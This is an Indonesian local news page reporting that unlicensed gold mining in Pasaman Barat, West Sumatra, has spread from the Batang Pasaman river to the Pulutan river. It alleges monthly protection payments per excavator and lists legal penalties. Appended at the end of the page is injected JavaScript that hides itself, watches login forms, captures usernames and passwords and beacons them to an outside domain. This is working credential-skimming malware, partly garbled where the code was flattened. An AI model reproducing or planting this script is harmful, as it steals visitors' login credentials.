Home / DAERAH

Minggu, 12 Oktober 2025 - 20:23 WIB

Semakin Meluas Pertambangan Emas di Kabupaten Pasaman Barat, Selain Sungai Batang Pasaman Sekarang Sungai Pulutan Menjadi Lahan Baru

SUMBAR, transparanmerdeka.com – Pernyataan tegas Presiden Prabowo Subianto untuk memberantas tambang ilegal di negara ini seakan tidak berarti di wilayah Kabupaten Pasaman Barat Provinsi Sumatera Barat, Pertambangan emas tanpa izin (Peti) semakin meluas, selain Sungai Batang Pasaman yang selama ini menjadi lahan Penambang emas, sekarang Pelaku Penambangan emas sudah mengeruk Sungai Pulutan yang berada di Kecamatan Lembah Melintang.

Keberanian pelaku penambangan emas ini perlu menjadi pertanyaan besar, seolah olah tidak menghiraukan pernyataan tegas Presiden dan ancaman terhadap pelaku tambang, bukannya berkurang namun semakin banyak aliran sungai dan hutan dirusak untuk membuka lahan pertambangan yang baru.

Pihak Kepolisian Pasaman Barat serta Pemerintah Daerah (Pemda) dan Instansi yang berwenang serta Anggota DPRD Pasaman Barat seolah olah tidak perduli dengan aktivitas penambangan emas yang ada di Kabupaten Pasaman Barat, keseriusan untuk melakukan Pemberantasan dan penangkapan terhadap pelaku tambang emas ilegal seolah olah tidak ada.

Baca Juga :  Sidang Tahunan MPR RI, Jokowi Ungkap Ekonomi Indonesia Terkendali di Tengah Krisis Global

Semua ini terbukti dengan semakin banyaknya wilayah yang dikeruk penambang emas, kenyataan ini membuktikan aparat penegak hukum ataupun pemerintah daerah membiarkan aktifitas penambangan emas ilegal tersebut tetap berlangsung di Pasaman Barat.

Aliran sungai Pulutan yang berada di kecamatan Lembah Melintang sudah menjadi pilihan baru bagi penambang emas, dengan keadaan ini semakin banyak aliran sungai di Pasaman Barat yang dirusak dan tercemari pelaku penambang emas.

Keberanian penambang emas ini terindikasi adanya Uang Payung yang selama ini diberikan Kepada Oknum beberapa waktu lalu sebesar 65 juta namun saat ini sudah mencapai 75 juta hingga 80 juta satu unit alat berat setiap bulannya, diperkirakan di Kabupaten Pasaman Barat sebanyak empat Ratusan alat berat yang beroperasi melakukan penambangan emas tanpa izin ini.

Seorang masyarakat simpang Empat Kas, mengeluhkan dengan banyaknya tambang yang beroperasi di Pasaman Barat ia mengatakan,” sekarang sudah ada lokasi baru bang, Kayaknya harus ada lsm daerah hingga pusat bersuara lagi, Soal tambang ini harus sampai Presiden Prabowo pas nya,” ungkapnya.

Baca Juga :  Penertiban PETI Pasaman Barat Hanya Cek Lokasi dan Sosialisasi, Alat Berat Parkir di Semak

Berdasarkan Pasal 158 UU Minerba, pelaku tambang ilegal (termasuk yang membiarkannya) dapat dipidana penjara maksimal 5 tahun dan denda hingga Rp100 miliar, jika pembiaran tambang ilegal melibatkan penyalahgunaan wewenang dan kolusi, dapat dikenakan sanksi sesuai UU Tipikor.

Aktivitas tambang ilegal yang menyebabkan kerusakan lingkungan, dapat dikenakan sanksi sesuai UU No. 32 Tahun 2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup, dengan pidana penjara 3-10 tahun dan denda Rp 3-10 miliar.

Bagi aparat kepolisian, ada kemungkinan tindakan disiplin internal jika terbukti lalai dalam penegakan hukum.

Pihak Kepolisian serta pihak Pemerintah Daerah (Pemda) yang membiarkan aktifitas tambang emas tanpa izin ini tetap berlangsung maka akan ada sanksi sebagaimana yang sudah diatur.
Kepolisian dan Pemda dapat dikenai sanksi jika terbukti membiarkan atau terlibat dalam Tambang ilegal. (Fan)

Share :

Baca Juga

PEMBANGUNAN

Herman Deru Tinjau Pengerjaan Pengembangan Danau Opi Sebagai Kolam Retensi Atasi Banjir 

PEMERINTAHAN

Punya Dedikasi Tinggi, 321 ASN Pemprov Sumsel Dapat Kehormatan Satyalancana Karya Satya dari Gubernur Herman Deru

DAERAH

Wendy Pasbar, Minta Kapolres Tindak Pertambangan Jangan Sampai Menambah Buruknya Citra Kepolisian

PENDIDIKAN

Ikuti Lomba Mancing Band Tingkat Nasional, Herman Deru Lepas Keberangkatan Manching Band SD Baptis

KEPEMUDAAN

Ratusan Santri Doakan Herman Deru Mampu Wujudkan Misinya Membawa Sumsel Maju untuk Semua 

BANYUASIN

Lurah dan LPM Sebagai Pengawas, Sapras Dikelola Pihak ke-tiga

DAERAH

Lomba Panjat Pinang 77 Pohon Semakin Meriah Dihadiri Gubernur Herman Deru 

DAERAH

Diskominfo Muba Sambut Studi Tiru BKPSDM  Kabupaten PALI
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();